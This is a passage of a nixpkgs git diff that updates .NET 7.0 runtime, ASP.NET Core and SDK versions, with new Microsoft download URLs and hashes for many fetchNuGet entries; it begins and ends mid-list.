"Microsoft.NETCore.App.Crossgen2.linux-musl-arm64"; version = "6.0.27"; sha256 = "0hbq38dldjdwny12qy0cs3f68af2d2r5g1niwn8rjw1c4hdjaci6"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-musl-x64"; version = "6.0.27"; sha256 = "082pf381ayhrwy805w995x55jls3wpgmgqxzsnd63ij8q9l7j6bq"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-arm"; version = "6.0.27"; sha256 = "14lv78j411q5496lv6nw29ivlnf88882v7264zr2pfvrasms3i0j"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-arm64"; version = "6.0.27"; sha256 = "1r8g35f2x25nyimd3yrhrm2cbdqcdljmw59jy3mqsjz9h7kcj68h"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.linux-x64"; version = "6.0.27"; sha256 = "1a2rzh4005lpwv9sdzrvjdr89q0jjh5vg3h6zd008db5hj637hbn"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.osx-x64"; version = "6.0.27"; sha256 = "14b4nz7qf1rkbr2jrrhhay10qqv8jiz71rq5iymabik16m92664p"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Crossgen2.osx-arm64"; version = "6.0.27"; sha256 = "0v397sn3z136y8dh3q5g1361sxmq15acsv3x86dxhn9rkxj50md8"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Host.win-arm"; version = "6.0.27"; sha256 = "0ra8kr1xkk89lvy9ggkp25dc6l9z0zqi23hfwwqlyy9sc1fhwmwn"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.win-arm"; version = "6.0.27"; sha256 = "04q8c0z44iqg3nx2nxc104al1hnmszk2hdirmjnhkm3ilqm8fhx7"; }) + (fetchNuGet { pname = "runtime.win-arm.Microsoft.NETCore.DotNetAppHost"; version = "6.0.27"; sha256 = "0ly1m46dm5zfxnjcbd8fv99mnlnzfw8mnlzw59ii7izixixm5a97"; }) + (fetchNuGet { pname = "runtime.win-arm.Microsoft.NETCore.DotNetHost"; version = "6.0.27"; sha256 = "1f55c522angyng8rd31hwjjyj1vkmxbzvl6nkfqsr8wwzlv7hgpv"; }) + (fetchNuGet { pname = "runtime.win-arm.Microsoft.NETCore.DotNetHostPolicy"; version = "6.0.27"; sha256 = "1s070v08j0vylcdpl6l59p0g5rrkqpbc10c4y16id1g6qfnpgq7w"; }) + (fetchNuGet { pname = "runtime.win-arm.Microsoft.NETCore.DotNetHostResolver"; version = "6.0.27"; sha256 = "09d8c6mp1d9g3fgdbccvh3z75qc8mnrl1767p2ym2p0c6vin4893"; }) + (fetchNuGet { pname = "Microsoft.NETCore.App.Composite"; version = "6.0.27"; sha256 = "1zkmnz2a70ki50j7apgxk7q9b7x9qqcgn04pkdcaya1ig64h53cc"; }) ]; }; } diff --git a/pkgs/development/compilers/dotnet/versions/7.0.nix b/pkgs/development/compilers/dotnet/versions/7.0.nix index 0f64389b261e2..c16de5c33d9d6 100644 --- a/pkgs/development/compilers/dotnet/versions/7.0.nix +++ b/pkgs/development/compilers/dotnet/versions/7.0.nix @@ -3,184 +3,184 @@ # v7.0 (maintenance) { aspnetcore_7_0 = buildAspNetCore { - version = "7.0.15"; + version = "7.0.16"; srcs = { x86_64-linux = { - url = "https://download.visualstudio.microsoft.com/download/pr/30cb8b2d-ee36-421b-90d0-6650bf5180ad/9e2dff64d0134c46b74eafcad1bb658d/aspnetcore-runtime-7.0.15-linux-x64.tar.gz"; - sha512 = "8aae979c0e9c90e781b8747aba5d7e09c9a81845b936c9185dc16d519db3a4ad9e219da4bffe13476baa81c7ff3e1637e8ef031be1f9f305f7d1681568ae3aed"; + url = "https://download.visualstudio.microsoft.com/download/pr/cd076f88-c72a-411d-8d7c-a5ed352dce9c/fd020c0de8e056bb5c4a7ef6d1d983d4/aspnetcore-runtime-7.0.16-linux-x64.tar.gz"; + sha512 = "1482c7c946c1b1a0a39f2bef4eaceed0a9b9eae44d3e8a103e6574b64391749d163ad4d65198573571885906215078ff41f53ebfc7884aa8a437c527532521f4"; }; aarch64-linux = { - url = "https://download.visualstudio.microsoft.com/download/pr/fed5ac78-3c8f-4eb9-bc13-2df4e97d01e1/3125fd43ab4eaf0e3304839295bf4bfd/aspnetcore-runtime-7.0.15-linux-arm64.tar.gz"; - sha512 = "4139d28b0c67497854794d34ec3eb3d7f4a49f34be4ed43cb634be88e7315af81090dd851fe2cdd429bf0050345f14000d2f939c020aeb809a1696483afdebe6"; + url = "https://download.visualstudio.microsoft.com/download/pr/ce5326f4-7aa5-4463-b7aa-5be3a85387a7/940a239d2a0401a1c5745905f22d750b/aspnetcore-runtime-7.0.16-linux-arm64.tar.gz"; + sha512 = "9acc4c8e99d9ff50f3f5e5615e25e30561a8475ca66332bcb93d3305aa68f1bfb142d21c3eb7cd07627c15d2e3abcfd4d504db617e7c662b83e2b76e4019b3d4"; }; x86_64-darwin = { - url = "https://download.visualstudio.microsoft.com/download/pr/1d44c976-5d7e-441c-aaf2-1b43b95131cc/b9f0c5a91fceb7fd47c76a7097c75c78/aspnetcore-runtime-7.0.15-osx-x64.tar.gz"; - sha512 = "75d01e3e123abbb5851c709a13d186a11db425bf18c82f615b445c2ff6629264a4d41e8011d43a225816ac807c7c8793cb35bbaf506455a3169a741d637230d0"; + url = "https://download.visualstudio.microsoft.com/download/pr/7b668555-cb1a-4ec9-a095-a2f04c20a0c5/477ca3d9b92b53f4a2cf6fe3ad6859fc/aspnetcore-runtime-7.0.16-osx-x64.tar.gz"; + sha512 = "f28ef3bf07682d6a85bf70c69159f66583fdab5de0b8f693de2b7477b55376ebf797e504f9d0026bfb24bf6f884d843363d3f42921c89b164d084c05288ec2df"; }; aarch64-darwin = { - url = "https://download.visualstudio.microsoft.com/download/pr/478d989b-d381-448d-be80-f81c5ec93014/9a7b49e5a2c0720e290d19a9447984cc/aspnetcore-runtime-7.0.15-osx-arm64.tar.gz"; - sha512 = "7d090dfbc862d6329fefcb93ec74c5b82100fa1949ec92602b69871b48f467654fa6c18ec0553d1edd8908a87cc3682e809270c5fcfb3c93111be8adae86dd6a"; + url = "https://download.visualstudio.microsoft.com/download/pr/d549c9a5-79cc-40fb-a71d-e3a5e80dddf0/9f3abc8afdc5a110776f0b727e13d1cb/aspnetcore-runtime-7.0.16-osx-arm64.tar.gz"; + sha512 = "ae2e61279788227908ca2308cc22db56c3bc9497f8544a009c33c669469d22909882c91758f28ea45ea0670211417300a448b431ea6b6079c55cdf55651af816"; }; }; }; runtime_7_0 = buildNetRuntime { - version = "7.0.15"; + version = "7.0.16"; srcs = { x86_64-linux = { - url = "https://download.visualstudio.microsoft.com/download/pr/921a24a1-0a7c-4100-b72e-f948ff3b4614/1cf0fe858e6d42bf1ef88d775fd8d865/dotnet-runtime-7.0.15-linux-x64.tar.gz"; - sha512 = "3cec6eabe448ccf5105c2203928a6fe00e343f1f0d97c79614d41c198548a20659113b9507da95b63dedbd3caa6a66bf5f3750f4443744186e35e47de5c30555"; + url = "https://download.visualstudio.microsoft.com/download/pr/a1b18f18-1bd5-4c11-a9ed-b38ff8e5276d/c357409f720369b1eb5b6f183521ac95/dotnet-runtime-7.0.16-linux-x64.tar.gz"; + sha512 = "e1eae1aae9088e8131317e217f4cd3059628cce847103775c61c2d641d19486168bede5fe3123668f81f35bdc5a41100cbb49126d55445e7f5c5c617e2ca3b49"; }; aarch64-linux = { - url = "https://download.visualstudio.microsoft.com/download/pr/854685e1-521f-4784-8a6a-b49307a3a4a7/6079b3613f0a297df59ab563e31074bc/dotnet-runtime-7.0.15-linux-arm64.tar.gz"; - sha512 = "e5b71578142f81809dd3e2bd5a9d673459c3f311ee095429b8e59929bd3ea17169c880113b7c86b8940c2db4bb1138f4770883456102da6b4b42ab7f0da8f8ed"; + url = "https://download.visualstudio.microsoft.com/download/pr/2d4227ba-2a3c-4313-a22e-216898a2ba28/6de108672de382cacb507d12874abacd/dotnet-runtime-7.0.16-linux-arm64.tar.gz"; + sha512 = "4a38d656e22129605a5f156b61098f6eb598a88e1d6248577d064481e7f4632fecf9bb60580c266347b4ee60133a617a5528aa6fc789faee83e5cca5fba884c2"; }; x86_64-darwin = { - url = "https://download.visualstudio.microsoft.com/download/pr/f10c8029-961d-4c91-922e-d81eceda9434/004a62489c01ae2a41ac7ec1aba2eec7/dotnet-runtime-7.0.15-osx-x64.tar.gz"; - sha512 = "bab7013467ae933e18f0c963319f19a54816fb3b2bda35316d45affb683c4e74cc1f6f7cd289c3ca475a2a0eebbd2809831f5ef908039c200407341f2bebb5eb"; + url = "https://download.visualstudio.microsoft.com/download/pr/1f9ceba6-cf74-43d1-b595-79f77648c9cb/00af259fec984c4a51b2f34bbf86402f/dotnet-runtime-7.0.16-osx-x64.tar.gz"; + sha512 = "0261d0f93dcb56a0dd7e506be16405c533964254924bbc8412465c6d12c45f07ca7cb61b1025f6d222fb881cdd7f19224a58699e19e21ebcd7f6df92e832a829"; }; aarch64-darwin = { - url = "https://download.visualstudio.microsoft.com/download/pr/44fec9e2-bcd6-460f-b1a9-0e8dfddc98fa/06bcccde9a49279d460d2862f54af404/dotnet-runtime-7.0.15-osx-arm64.tar.gz"; - sha512 = "0910ae01475c5df70b846aa80b30fb85cd91349b43c682e25692d470cadd877d7965b7ecf06ce93a71f92a4a32c534a876e6733dbf45684628476a1c6bb6d112"; + url = "https://download.visualstudio.microsoft.com/download/pr/ddbf1eea-34b3-4b30-98c4-73ecc0493e43/8d15c0d6dada8fe863549d4ccbf04e82/dotnet-runtime-7.0.16-osx-arm64.tar.gz"; + sha512 = "69e42aca2fcaf4f5f8787aed3e1db00c6c8a3b5ad83ce8425842222db6453d13cc623778d80fd39219ba6e553c8fe0326b3bfa3802de5ef19247cf1f07ee4a56"; }; }; }; sdk_7_0 = buildNetSdk { - version = "7.0.405"; + version = "7.0.406"; srcs = { x86_64-linux = { - url = "https://download.visualstudio.microsoft.com/download/pr/5202b091-2406-445c-b40a-68a5b97c882b/b509f2a7a0eb61aea145b990b40b6d5b/dotnet-sdk-7.0.405-linux-x64.tar.gz"; - sha512 = "6cdf82af56f920c87315209f5b5166126e97b13b6d715b6507ddbc9a2eb618f812e43686b79de810ae6a21e0fb5a8e04d68a004f00a07533c8b664f9c889b5b0"; + url = "https://download.visualstudio.microsoft.com/download/pr/57150757-56af-450b-ba30-8532fac51e0f/507247327723f24970f66f51554c18bc/dotnet-sdk-7.0.406-linux-x64.tar.gz"; + sha512 = "5455ac21b1d8a37da326b99128a7d10983673259f4ccf89b7cdc6f67bb5f6d4f123caadb9532d523b2d9025315e3de684a63a09712e2dc6de1702f5ad1e9c410"; }; aarch64-linux = { - url = "https://download.visualstudio.microsoft.com/download/pr/bdfe4e91-3a24-421f-881a-47b6d91404cb/cfe786933a6a7fd358b799af23542827/dotnet-sdk-7.0.405-linux-arm64.tar.gz"; - sha512 = "35c3b0036324f0d5a1711859f318863a2f24dd43d61518b38acffe9e278ee203007bf620d783ac706a615175b9c15d348cb9386c800aac219fb23537c03b919b"; + url = "https://download.visualstudio.microsoft.com/download/pr/67aad17a-4584-40ff-8ac3-0093c63105a4/472183e47222f475198a4b4a394036f8/dotnet-sdk-7.0.406-linux-arm64.tar.gz"; + sha512 = "7543ab3197653864aa72c2f711e0661a881d7c74ef861fb1e952b15b7f8efd909866e99ea0e43430768db223b79d4e0285f3114087b6e009b5d382b4adad13fc"; }; x86_64-darwin = { - url = "https://download.visualstudio.microsoft.com/download/pr/77e1c2df-aaa1-44aa-abc5-ffca44b1dfc9/1fea5228f09398a885ca956d1b537f02/dotnet-sdk-7.0.405-osx-x64.tar.gz"; - sha512 = "8525c009fad7fd0873ad72654a88f90d86b13ac58b17846fcf3d7cb696bc0d3c2c45bfb8d85e17a99f42421c5d6081aa4973d81211e42265efdc58443d075f5c"; + url = "https://download.visualstudio.microsoft.com/download/pr/3a380401-9a77-40a2-a5bd-16c537f7e0a8/ad443240d2182d363d3b5ef7e22d2e46/dotnet-sdk-7.0.406-osx-x64.tar.gz"; + sha512 = "c21e57b566364607ed17bd8032a48fd7f6319646a07265333147fd0de0f7cf9c862958537d08c0c5837d22fae144b4295363c689daffb538ee956587d2f65461"; }; aarch64-darwin = { - url = "https://download.visualstudio.microsoft.com/download/pr/5bb0e0e4-2a8d-4aba-88ad-232e1f65c281/ee6d35f762d81965b4cf336edde1b318/dotnet-sdk-7.0.405-osx-arm64.tar.gz"; - sha512 = "0ad6700475827ffc8f3dd16609f64368b736dc8b6dc07213738480c237a0d8896323959e05acb7f9510d1027746cfecaf4458f620faa757ee4f0779ecca24201"; + url = "https://download.visualstudio.microsoft.com/download/pr/188a79a4-50f2-4a36-b56b-6a764d5458c4/033b59ec3d8e0ab8d76ca6763be7ae5c/dotnet-sdk-7.0.406-osx-arm64.tar.gz"; + sha512 = "a186477633215784f7dd50f4f82f4a08323ee0929dc5ac99c9c76a23c74b31b4de7ea81eb4f0b6223f02ae40f5a74fe6533c7989a4a0de6669882ae0065c71e7"; }; }; packages = { fetchNuGet }: [ - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-arm"; version = "7.0.15"; sha256 = "092zx30wi1gsqqxdz9sxw901vzr4vr912qgfy27v2h9c66xwkawc"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-arm64"; version = "7.0.15"; sha256 = "1mzzijri3ysscnpdpf130i3if4c524hxkqbrgspk2xjnb4qgzgl9"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm64"; version = "7.0.15"; sha256 = "1qjsnv6cj1i55dj67nii4wsnw2yf2vk89r9nrfh385dd5azfr7cn"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-x64"; version = "7.0.15"; sha256 = "17jww47v2yzj828wcvwwizbizfn5ygygfab8nzckr6cmfy24wqrh"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-x64"; version = "7.0.15"; sha256 = "04qcxbqsabk89q4rk2wcrsry41ykhw0nm27garfhc67j1fy4xz6g"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.osx-x64"; version = "7.0.15"; sha256 = "04fa3r282nlxfhfgvkml9f1pmls94kcaxqq1kb7qjp1hliss9ld1"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.win-arm64"; version = "7.0.15"; sha256 = "10qm75z6ril2rhzyysb24bniw9hzb3m8ipxq7pyw0pw80ppknx17"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.win-x64"; version = "7.0.15"; sha256 = "0j6g9bal618di3arb9sjci2pnx1g33jxv73c3k6pggs6p46kkbfx"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.win-x86"; version = "7.0.15"; sha256 = "19hjclrwwsv7810qhz6p3sac5535qz80y3rknx4r079082zyqmnp"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.win-arm"; version = "7.0.15"; sha256 = "0mfipgk0szhc4p3pysya5gf02vlccz1s2k49swywj4qkarkxc4h3"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Ref"; version = "7.0.15"; sha256 = "1wxp1w2wyx81glnngpzyhl6x3px9mg5glljnvxpd0rj7f2a2jv2r"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-arm"; version = "7.0.15"; sha256 = "148fxdy6j0iq65g102dhq3wcplpldlflnfzb485qb557pyfs174k"; }) - (fetchNuGet { pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64"; version = "7.0.15"; sha256 = "0jklf1dlbvymh18ijq20wnd6v2k3mjafr5k9yya84xl1srad22ww"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-arm"; version = "7.0.15"; sha256 = "0mlvc3c0sb0qx33fxamnp1a00y28zz2g519mrhsr9qv6na4hihh7"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-arm64"; version = "7.0.15"; sha256 = "1mys96zqvf2i8nv1j36797p3ha0z2c9xh7zjd5ixd614kgwix0ns"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-musl-arm64"; version = "7.0.15"; sha256 = "08hvr3dwz0b78v3n7zn7q6qfa1yhy43m6z5rcbs4fd80gzkj45cq"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-musl-x64"; version = "7.0.15"; sha256 = "0nwl2jivi0dfbkqkmfi5y4zzmvqc2z9sa7bl8mwxx4n3vyyias46"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-x64"; version = "7.0.15"; sha256 = "1rrijrvaan4q9qkj0lfd0x9kqana49aiflkn2p2z8w1c0z781g5r"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.osx-x64"; version = "7.0.15"; sha256 = "1nfah8by8mlzkwpglnf3x9r84gg3dskhhh502z01i60r1khrqli9"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.win-arm64"; version = "7.0.15"; sha256 = "1gnzl52h65dczh6722w6hkwx8kp32zkqmhnvyd1xksspfi8ldzyh"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.win-x64"; version = "7.0.15"; sha256 = "1zn9w3avcl5ssj502dby07f37y0gdcird02v7qqnsxmsd426m8ha"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.win-x86"; version = "7.0.15"; sha256 = "0lxzl2cjcz7kbbcy7m2gwyxisl2v4nw8z84pdlccklx3g7mdjr4n"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-arm"; version = "7.0.15"; sha256 = "0jf860xprgw4ly4iqs6mf4593h0gjwd7z1cvqgmljdviw1zaxpcy"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-arm64"; version = "7.0.15"; sha256 = "16yak4qmv50yny9amanwsyi29v1c8331w3svz1fhvj02qxh7022z"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm64"; version = "7.0.15"; sha256 = "0glwfimi5pzsz9j8ss39xmwwzd42bnagysxdmbwlk6cj8fdxkr46"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-musl-x64"; version = "7.0.15"; sha256 = "09c4ax99m8zibpv30id2jd90j6ixi2dam3c527p4047klnwgpjzh"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-x64"; version = "7.0.15"; sha256 = "0s7idg74b5qbrp6nr1v36s0rfrnz1rbqxikdvbf6whlvfqzjwy8d"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.osx-x64"; version = "7.0.15"; sha256 = "0r86ab0iihb2qwh6n6ffmmzwsrgva0v2nvvv5gh9vyq00xfjw0wh"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.win-arm64"; version = "7.0.15"; sha256 = "0vamqkhjamhfgd2a0rlfjjxlj3jfwqxw937599jr4bkx033galn8"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.win-x64"; version = "7.0.15"; sha256 = "1vmhysinify9yn3ad8894203y3p279471z2pna52fhdiay89si8r"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.win-x86"; version = "7.0.15"; sha256 = "1ir30gp1kv1arhhs435cjkl88yjz1az4wq5ylidrc4r5ny7p91yd"; }) - (fetchNuGet { pname = "Microsoft.NETCore.DotNetAppHost"; version = "7.0.15"; sha256 = "12hyxbzpn28a54x2370zvdd7kd14g06dzk6hlj7rwshla35m47a3"; }) - (fetchNuGet { pname = "Microsoft.NETCore.DotNetHost"; version = "7.0.15"; sha256 = "1hqbnvi10lyr5id92cf7q4k83rvk7qx2hprhanrdf5psvyqjqkk7"; }) - (fetchNuGet { pname = "Microsoft.NETCore.DotNetHostPolicy"; version = "7.0.15"; sha256 = "1dy7khybv18q8a7aarlnwps16j32frf0hhvzszx4vx4gpm2y10i0"; }) - (fetchNuGet { pname = "Microsoft.NETCore.DotNetHostResolver"; version = "7.0.15"; sha256 = "1pd0429sm69jj6kd3a8cs0r6v6n6w849y8y3zlpdf8gzsrkdwbw0"; }) - (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetAppHost"; version = "7.0.15"; sha256 = "1aiizg0za2bahs1myl3fqjy7zpb4knnninylvcdcw71hl4lwnisi"; }) - (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHost"; version = "7.0.15"; sha256 = "0ij656h7nxk2wlr2g05nxiridjncx6mm3limahhjy6pp89v1853v"; }) - (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHostPolicy"; version = "7.0.15"; sha256 = "1djd5dj07bwr4rm95vpabaf6piqsdsz30bjimalyz9cams01air4"; }) - (fetchNuGet { pname = "runtime.linux-arm64.Microsoft.NETCore.DotNetHostResolver"; version = "7.0.15"; sha256 = "05hqnh1ix7bixldcsp7a5j5fvyc19lfmfqyhvzwz507xl784704i"; }) - (fetchNuGet { pname = "runtime.linux-arm.Microsoft.NETCore.DotNetAppHost"; version = "7.0.15"; sha256 = "1729n6l2yv6zxp71z8gakxnwcn0p6gfw29djpppkhyby0a5bqnfd"; }) - (fetchNuGet { pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHost"; version = "7.0.15"; sha256 = "027kppzv27ja2fvlxcx22s1vg8kk94rn0lm3b6hji9vhld05170z"; }) - (fetchNuGet { pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHostPolicy"; version = "7.0.15"; sha256 = "0dvh2shaw4dkq4ly2xgdw1agjzkzlifnal7s0fbhcsn2da59dqpg"; }) - (fetchNuGet { pname = "runtime.linux-arm.Microsoft.NETCore.DotNetHostResolver"; version = "7.0.15"; sha256 = "1zs1in0v5l0g59rjkhs3iikr9i0zdsnikf7dqr127dy181i558rj"; }) - (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetAppHost"; version = "7.0.15"; sha256 = "0dxh835m4v8hsv3jdw5j7rxk5ap5p8jsqbl86slc72x2jhfm93g9"; }) - (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHost"; version = "7.0.15"; sha256 = "1h15sx8afa17c5jswmdr73kmw0anvvsgi48hzcc20hwn5fyj5cai"; }) - (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHostPolicy"; version = "7.0.15"; sha256 = "0b6xrsdfvadnf0a6dgnwy80yggik4a8fvg41ladxfzdl3dzbam1y"; }) - (fetchNuGet { pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHostResolver"; version = "7.0.15"; sha256 = "0xm0yd20p2f9crnj927ikh350n30y3qi0zlwqniv4q53jcs2nlgh"; }) - (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetAppHost"; version = "7.0.15"; sha256 = "12yq0ldk4snn6av6qk19vpsga20r6c71i2k7lhjq2v1cz29q92in"; }) - (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHost"; version = "7.0.15"; sha256 = "0lwi12sy2ygbzj33r50myfjgpz06rccxpzhaa1mdv6qxr7c1izhs"; }) - (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHostPolicy"; version = "7.0.15"; sha256 = "1454qcs72846p1hlvmhcvbdgacykr94bgcghimpj97xsgm2h743f"; }) - (fetchNuGet { pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHostResolver"; version = "7.0.15"; sha256 = "0p0a1hgcrbasi58x43zi68q71fd200zvr1g5h4gr1ank0czgqb50"; }) - (fetchNuGet { pname = "runtime.linux-x64.Microsoft.NETCore.DotNetAppHost"; version = "7.0.15"; sha256 = "03hxh8vc97h5ci8yzapamncgs4pw991w4a58vyd9a657ira8949m"; }) - (fetchNuGet { pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHost"; version = "7.0.15"; sha256 = "07klrbvw87q0fpx965r17d17wa7irw394nnnn8bcypwdibc0ib21"; }) - (fetchNuGet { pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHostPolicy"; version = "7.0.15"; sha256 = "1qz2gqjxi9h31lvvx9flzwrc9aikw1mrkd50rrc0i66hl0bv9wrz"; }) - (fetchNuGet { pname = "runtime.linux-x64.Microsoft.NETCore.DotNetHostResolver"; version = "7.0.15"; sha256 = "13bysjg14n6gykcd3a316ik73f7nfb2h0bbxil78dfcsfabzkk9k"; }) - (fetchNuGet { pname = "runtime.osx-x64.Microsoft.NETCore.DotNetAppHost"; version = "7.0.15"; sha256 = "0icj4qwmhdpp09qypbccpyw64dcjg3ykb76iaz8a1lwys2gqq9cc"; }) - (fetchNuGet { pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHost"; version = "7.0.15"; sha256 = "0xzbl5939ap2s2jzncp8wchvwj5c56fbg67fr6422bbgh0i85fiq"; }) - (fetchNuGet { pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHostPolicy"; version = "7.0.15"; sha256 = "07kyjc3957zg8lg73xaxhvx25i1a3mb7zwvvp2icl93fl47pybam"; }) - (fetchNuGet { pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHostResolver"; version = "7.0.15"; sha256 = "1adm4skcxhw3agpxgrg8wldzbzm77kn0nl3n1l1flq0ysf4j7x22"; }) - (fetchNuGet { pname = "runtime.win-arm64.Microsoft.NETCore.DotNetAppHost"; version = "7.0.15"; sha256 = "03cdg58mhsqvm85jdsks29jv8v5bx8mym9ly9pn6i65v6q211brg"; }) - (fetchNuGet { pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHost"; version = "7.0.15"; sha256 = "1gb0d9dylq250ayydbcraa25fjyzlgx9ich4yh81cf6dw7zxk3cg"; }) - (fetchNuGet { pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHostPolicy"; version = "7.0.15"; sha256 = "14vbbqwixyz95skqg5lw9z634d5lw4660zzba036mlg8csq3m9b1"; }) - (fetchNuGet { pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHostResolver"; version = "7.0.15"; sha256 = "16g06phagwnnry3fwh6b3c3iwhxmhw5ppnqynj4gcl2ir7bsdrb8"; }) - (fetchNuGet { pname = "runtime.win-x64.Microsoft.NETCore.DotNetAppHost"; version = "7.0.15"; sha256 = "178j0p4c5mxkaza5p2r3fxy613mzhs93a1jvkm8v9rq5qv8pwld3"; }) - (fetchNuGet { pname = "runtime.win-x64.Microsoft.NETCore.DotNetHost"; version = "7.0.15"; sha256 = "0l37908yz40pmqa2k8ssmj3ypgfa0cqmg9sg6c5b7liczdjnqyyr"; }) - (fetchNuGet { pname = "runtime.win-x64.Microsoft.NETCore.DotNetHostPolicy"; version = "7.0.15"; sha256 = "053ymy8khfq07p0r1kk35z1aykq68inck40j9l2lc4rixk2k9jhg"; }) - (fetchNuGet { pname = "runtime.win-x64.Microsoft.NETCore.DotNetHostResolver"; version = "7.0.15"; sha256 = "10cnsrxk97f3wxhjax8plbaj2vhcznz9mdybpj2az45rb2abh5vf"; }) - (fetchNuGet { pname = "runtime.win-x86.Microsoft.NETCore.DotNetAppHost"; version = "7.0.15"; sha256 = "1nm7n49jkkvp8j0qfq1dvn48vq9d872chaaly14awql6ypfym5pb"; }) - (fetchNuGet { pname = "runtime.win-x86.Microsoft.NETCore.DotNetHost"; version = "7.0.15"; sha256 = "1509qr4cb469hb4dgnmsgm21dyxzwhhyq2iag2z1cxbk44mjz2ma"; }) - (fetchNuGet { pname = "runtime.win-x86.Microsoft.NETCore.DotNetHostPolicy"; version = "7.0.15"; sha256 = "1738bri3bs89hig3149kb9m6ia8dc1vp5ivkiz265qkw6gvhncb9"; }) - (fetchNuGet { pname = "runtime.win-x86.Microsoft.NETCore.DotNetHostResolver"; version = "7.0.15"; sha256 = "0gq17d6jczj52lgc5c8i5k5gj9g37zp5gcsnvqdc5vaidq1g2ggr"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.linux-musl-arm"; version = "7.0.15"; sha256 = "099yrwc5f9lx0bczfq8dhq8v0l3hg0pspv3wr6yl2pqz2ziyk9ap"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Host.osx-arm64"; version = "7.0.15"; sha256 = "1lljcbkzs1l25ndwzcyhwdh4q4rildwz7vza921r0kcg8zdb7izz"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.linux-musl-arm"; version = "7.0.15"; sha256 = "0hi97qsr1w0r660rv3h1rqy7cn84pnkgx49l4ckll88klwyvpq9p"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.osx-arm64"; version = "7.0.15"; sha256 = "1wjfm26b0dq2lsa1zrc16xjxnpi1z3n2myd7myjvmlklbzl59x9c"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Ref"; version = "7.0.15"; sha256 = "0zg8lyik3sdg24vy6w8974iiccy8mzln8gw8rs356wswk7irrpk2"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.linux-arm"; version = "7.0.15"; sha256 = "03wsv6msyfg6fnbfy2hzkc67sxlhskcr6h3lndl5pyb5fvpqhj4h"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.linux-arm64"; version = "7.0.15"; sha256 = "02w4gk7zvdmpf774d2i2zqkz7nb98gbrp0rkv3klr53dklayqwhn"; }) - (fetchNuGet { pname = "Microsoft.NETCore.App.Runtime.Mono.linux-musl-x64"; version = "7.0.15"; sha256 = "1bwam1av4rkx0pmf9x79lrgsnsimficm33jgm608f3csp8d69a9l"; }) - (fetchNuGet { pname = 